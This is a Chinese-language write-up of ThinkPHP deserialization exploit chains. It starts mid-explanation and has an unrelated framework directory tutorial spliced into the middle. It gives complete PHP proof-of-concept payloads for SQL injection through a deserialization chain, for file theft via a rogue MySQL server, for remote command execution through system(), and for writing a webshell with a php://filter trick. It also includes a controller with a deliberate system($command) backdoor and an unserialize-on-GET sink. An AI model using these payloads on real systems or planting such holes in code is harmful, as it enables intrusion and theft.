而后面我們執行的時候是依靠數組的,數組是不可以用 字符串連接符的。參數控制不可以利用$this->sessionName。
但是可以令其為空(本來就是空),會進入Model 類中的delete方法中的第一個if分支,然后再次調用delete方法,把 $this->data[$pk] 作為參數傳入,這是我們可以控制的!
看代碼也不難發現注入點是在 $table 這里,也就是 $options[‘table’],也就是 $this->data[$this->pk[‘table’]];
直接跟進 driver類中的execute() 方法
跟進 initConnect() 方法
跟進connect() 方法
數據庫的連接時通過 PDO 來實現的,可以堆疊注入(PDO::MYSQL_ATTR_MULTI_STATEMENTS => true ) 需要指定這個配置。
這里控制 $this->config 來連接數據庫。
driver類時抽象類,我們需要用mysql類來實例化。
到這里一條反序列化觸發sql注入的鏈子就做好了。
poc
<?php
namespace Think\Image\Driver;
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
namespace Think\Session\Driver;
use Think\Model;
class Memcache {
protected $handle;
public function __construct(){
$this->sessionName=null;
$this->handle= new Model();
}
}
namespace Think;
use Think\Db\Driver\Mysql;
class Model{
protected $pk;
protected $options;
protected $data;
protected $db;
public function __construct(){
$this->options['where']='';
$this->pk='jiang';
$this->data[$this->pk]=array(
"table"=>"mysql.user where 1=updatexml(1,concat(0x7e,user()),1)#",
"where"=>"1=1"
);
$this->db=new Mysql();
}
}
namespace Think\Db\Driver;
use PDO;
class Mysql{
protected $options ;
protected $config ;
public function __construct(){
$this->options= array(PDO::MYSQL_ATTR_LOCAL_INFILE => true ); // 開啟才能讀取文件
$this->config= array(
"debug" => 1,
"database" => "mysql",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "root",
"password" => "root"
);
}
}
use Think\Image\Driver\Imagick;
echo base64_encode(serialize(new Imagick()));
這里可以連接任意服務器,所以還有一種利用方式,就是MySQL惡意服務端讀取客戶端文件漏洞。
利用方式就是我們需要開啟一個惡意的mysql服務,然后讓客戶端去訪問的時候,我們的惡意mysql服務就會讀出客戶端的可讀文件。
這里的hostname 是開啟的惡意mysql服務的地址以及3307端口
下面搭建惡意mysql服務
修改port 和filelist
執行python腳本后,發包,觸發反序列化后,就會去連接惡意服務器,然后把客戶端下的文件帶出來。
下面就是mysql.log 中的 文件信息(flag.txt)
當腳本處于運行中的時候,我們只可以讀取第一次腳本運行時定義的文件,
因為mysql服務已經打開了,我們需要關閉mysql服務,然后才可以修改腳本中的其他文件。
ps -ef|grep mysql
然后依次 kill 就好。
project 應用部署目錄
├─application 應用目錄(可設置)
│ ├─common 公共模塊目錄(可更改)
│ ├─index 模塊目錄(可更改)
│ │ ├─config.php 模塊配置文件
│ │ ├─common.php 模塊函數文件
│ │ ├─controller 控制器目錄
│ │ ├─model 模型目錄
│ │ ├─view 視圖目錄
│ │ └─ ... 更多類庫目錄
│ ├─command.php 命令行工具配置文件
│ ├─common.php 應用公共(函數)文件
│ ├─config.php 應用(公共)配置文件
│ ├─database.php 數據庫配置文件
│ ├─tags.php 應用行為擴展定義文件
│ └─route.php 路由配置文件
├─extend 擴展類庫目錄(可定義)
├─public WEB 部署目錄(對外訪問目錄)
│ ├─static 靜態資源存放目錄(css,js,image)
│ ├─index.php 應用入口文件
│ ├─router.php 快速測試文件
│ └─.htaccess 用于 apache 的重寫
├─runtime 應用的運行時目錄(可寫,可設置)
├─vendor 第三方類庫目錄(Composer)
├─thinkphp 框架系統目錄
│ ├─lang 語言包目錄
│ ├─library 框架核心類庫目錄
│ │ ├─think Think 類庫包目錄
│ │ └─traits 系統 Traits 目錄
│ ├─tpl 系統模板目錄
│ ├─.htaccess 用于 apache 的重寫
│ ├─.travis.yml CI 定義文件
│ ├─base.php 基礎定義文件
│ ├─composer.json composer 定義文件
│ ├─console.php 控制臺入口文件
│ ├─convention.php 慣例配置文件
│ ├─helper.php 助手函數文件(可選)
│ ├─LICENSE.txt 授權說明文件
│ ├─phpunit.xml 單元測試配置文件
│ ├─README.md README 文件
│ └─start.php 框架引導文件
├─build.php 自動生成定義文件(參考)
├─composer.json composer 定義文件
├─LICENSE.txt 授權說明文件
├─README.md README 文件
├─think 命令行入口文件
控制器寫法:
控制器文件通常放在application/module/controller下面,類名和文件名保持大小寫一致,并采用駝峰命名(首字母大寫)。
一個典型的控制器類定義如下:
<?php
namespace app\index\controller;
use think\Controller;
class Index extends Controller
{
public function index()
{
return 'index';
}
}
控制器類文件的實際位置是
application\index\controller\Index.php
一個例子:
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V' . \think\facade\App::version() . '<br/><span style="font-size:30px;">14載初心不改 - 你值得信賴的PHP框架</span></p><span style="font-size:25px;">[ V6.0 版本由 <a href="https://www.yisu.com/" target="yisu">億速云</a> 獨家贊助發布 ]</span></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ee9b1aa918103c4fc"></think>';
}
public function backdoor($command)
{
system($command);
}
}
想進入后門,需要訪問:
http://ip/index.php/Index/backdoor/?command=ls
所以寫一個漏洞利用點:
控制器,app/home/contorller/index.php
<?php
namespace app\home\controller;
use think\facade\Db;
class Index extends Base
{
public function index()
{
return view('index');
}
public function payload(){
if(isset($_GET['c'])){
$code = $_GET['c'];
unserialize($code);
}
else{
highlight_file(__FILE__);
}
return "Welcome to TP6.0";
}
}
入口:/vendor/topthink/think-orm/src/Model.php
讓$this->lazySave==True,跟進:
想要進入updateData方法,需要滿足一些條件:
讓第一個if里面一個條件為真才能不直接return,也即需要兩個條件:
$this->isEmpty()==false
$this->trigger('BeforeWrite')==true
其中isEmpty():
public function isEmpty(): bool
{
return empty($this->data);
}
讓$this->data!=null即可滿足第一個條件。再看trigger('BeforeWrite'),位于ModelEvent類中:
protected function trigger(string $event): bool
{
if (!$this->withEvent) {
return true;
}
.....
}
讓$this->withEvent==false即可滿足第二個條件,
然后需要讓$this->exists=true,這樣才能執行updateData,
跟進updateData(),
想要執行checkAllwoFields方法需要繞過前面的兩個 if 判斷,必須滿足兩個條件:
$this->trigger('BeforeUpdate')==true
$data!=null
第一個條件上面已經滿足,現在看第二個條件$data,查看$data是怎么來的,跟進getChangedData方法,src/model/concern/Attribute.php
因為$force沒定義默認為 null ,所以進入array_udiff_assoc,由于$this->data和$this->origin默認也為null,所以不符合第一個if判斷,最終$data=0,也即滿足前面所提的第二個條件,$data!=null。
然后查看 checkAllowFields 方法調用情況。
我們想進入字符拼接操作,就需要進入else,所以要讓$this->field=null,$this->schema=null,進入下面
這里存在可控屬性的字符拼接,所以可以找一個有__tostring方法的類做跳板,尋找__tostring,
src/model/concern/Conversion.php,
進入toJson方法,
我們想要執行的就是getAttr方法,觸發條件:
$this->visible[$key]需要存在,而$key來自$data的鍵名,$data又來自$this->data,即$this->data必須有一個鍵名傳給$this->visible,然后把鍵名$key傳給getAttr方法,
跟進getAttr方法,vendor/topthink/think-orm/src/model/concern/Attribute.php
跟進getData方法,
跟進getRealFieldName方法,
當$this->strict為true時直接返回$name,即鍵名$key
返回getData方法,此時$fieldName=$key,進入if語句,返回$this->data[$key],再回到getAttr方法,
return $this->getValue($name, $value, $relation);
即返回
return $this->getValue($name, $this->data[$key], $relation);
跟進getValue方法,
如果我們讓$closure為我們想執行的函數名,$value和$this->data為參數即可實現任意函數執行。
所以需要查看$closure屬性是否可控,跟進getRealFieldName方法,
如果讓$this->strict==true,即可讓$$fieldName等于傳入的參數$name,即開始的$this->data[$key]的鍵值$key,可控
又因為$this->withAttr數組可控,所以,$closure可控·,值為$this->withAttr[$key],參數就是$this->data,即$data的鍵值,
所以我們需要控制的參數:
$this->data不為空
$this->lazySave == true
$this->withEvent == false
$this->exists == true
$this->force == true
這里還需要注意,Model是抽象類,不能實例化。所以要想利用,得找出 Model 類的一個子類進行實例化,這里可以用 Pivot 類(位于\vendor\topthink\think-orm\src\model\Pivot.php中)進行利用。
所以構造exp:
<?php
namespace think{
abstract class Model{
use model\concern\Attribute; //因為要使用里面的屬性
private $lazySave;
private $exists;
private $data=[];
private $withAttr = [];
public function __construct($obj){
$this->lazySave = True;
$this->withEvent = false;
$this->exists = true;
$this->table = $obj;
$this->data = ['key'=>'dir'];
$this->visible = ["key"=>1];
$this->withAttr = ['key'=>'system'];
}
}
}
namespace think\model\concern{
trait Attribute
{
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
}
$a = new Pivot('');
$b = new Pivot($a);
echo urlencode(serialize($b));
}
入口:vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php
讓$autosave = false,
因為AbstractCache為抽象類,所以需要找一下它的子類,/vendor/topthink/framework/src/think/filesystem/CacheStore.php,因為里面實現了save方法,
繼續跟進getForStorage,
跟進cleanContents方法,
只要不是嵌套數組,就可以直接return回來,返回到json_encode,他返回json格式數據后,再回到save方法的set方法,
因為$this->store可控,我們可以調用任意類的set方法,如果該類沒用set方法,所以可能觸發__call。當然也有可能自身的set方法就可以利用,找到可利用set方法,src/think/cache/driver/File.php,
跟進getCacheKey,這里其實就是為了查看進入該方法是否出現錯誤或者直接return了,
所以這里$this->option['hash_type']不能為空,然后進入serialize方法,src/think/cache/Driver.php,
這里發現options可控,如果我們將其賦值為system,那么return的就是我們命令執行函數,$data我們是可以傳入的,那就可以RCE,回溯$data是如何傳入的,即save方法傳入的$contents,但是$contents是經過了json_encode處理后的json格式數據,那有什么函數可以出來json格式數據呢?經過測試發現system可以利用:
鏈子如下:
/vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php::__destruct()
/vendor/topthink/framework/src/think/filesystem/CacheStore.php::save()
/vendor/topthink/framework/src/think/cache/driver.php::set()
/vendor/topthink/framework/src/think/cache/driver.php::serialize()
exp如下:
<?php
namespace League\Flysystem\Cached\Storage{
abstract class AbstractCache
{
protected $autosave = false;
protected $complete = "`id`";
}
}
namespace think\filesystem{
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache
{
protected $key = "1";
protected $store;
public function __construct($store="")
{
$this->store = $store;
}
}
}
namespace think\cache{
abstract class Driver
{
protected $options = [
'expire' => 0,
'cache_subdir' => true,
'prefix' => '',
'path' => '',
'hash_type' => 'md5',
'data_compress' => false,
'tag_prefix' => 'tag:',
'serialize' => ['system'],
];
}
}
namespace think\cache\driver{
use think\cache\Driver;
class File extends Driver{}
}
namespace{
$file = new think\cache\driver\File();
$cache = new think\filesystem\CacheStore($file);
echo urlencode(serialize($cache));
}
?>
但是沒有回顯,但是能夠反彈 shell ,
這里其實和 POP2 一樣,只是最終利用點發生了些許變化,調用關系還是一樣:
/vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php::__destruct()
/vendor/topthink/framework/src/think/filesystem/CacheStore.php::save()
/vendor/topthink/framework/src/think/cache/driver.php::set()
/vendor/topthink/framework/src/think/cache/driver.php::serialize()
POP2 是利用的控制serialize函數來RCE,但下面還存在一個file_put_contents($filename, $data)函數,我們也可以利用它來寫入 shell,
我們還是需要去查看文件名是否可控,進入getCacheKey方法,
可以發現我們可以控制文件名,而且可以在$this->options['path']添加偽協議,再看寫入數據$data是否可控呢,可以看到存在一個exit方法來限制我們操作,可以偽協議filter可以繞過它
所以文件名和內容都可控,exp:
<?php
namespace League\Flysystem\Cached\Storage{
abstract class AbstractCache
{
protected $autosave = false;
protected $complete = "aaaPD9waHAgcGhwaW5mbygpOw==";
}
}
namespace think\filesystem{
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache
{
protected $key = "1";
protected $store;
public function __construct($store="")
{
$this->store = $store;
}
}
}
namespace think\cache{
abstract class Driver
{
protected $options = ["serialize"=>["trim"],"expire"=>1,"prefix"=>0,"hash_type"=>"md5","cache_subdir"=>0,"path"=>"php://filter/write=convert.base64-decode/resource=","data_compress"=>0];
}
}
namespace think\cache\driver{
use think\cache\Driver;
class File extends Driver{}
}
namespace{
$file = new think\cache\driver\File();
$cache = new think\filesystem\CacheStore($file);
echo urlencode(serialize($cache));
}
?>
成功寫入
*請認真填寫需求信息,我們會在24小時內與您取得聯系。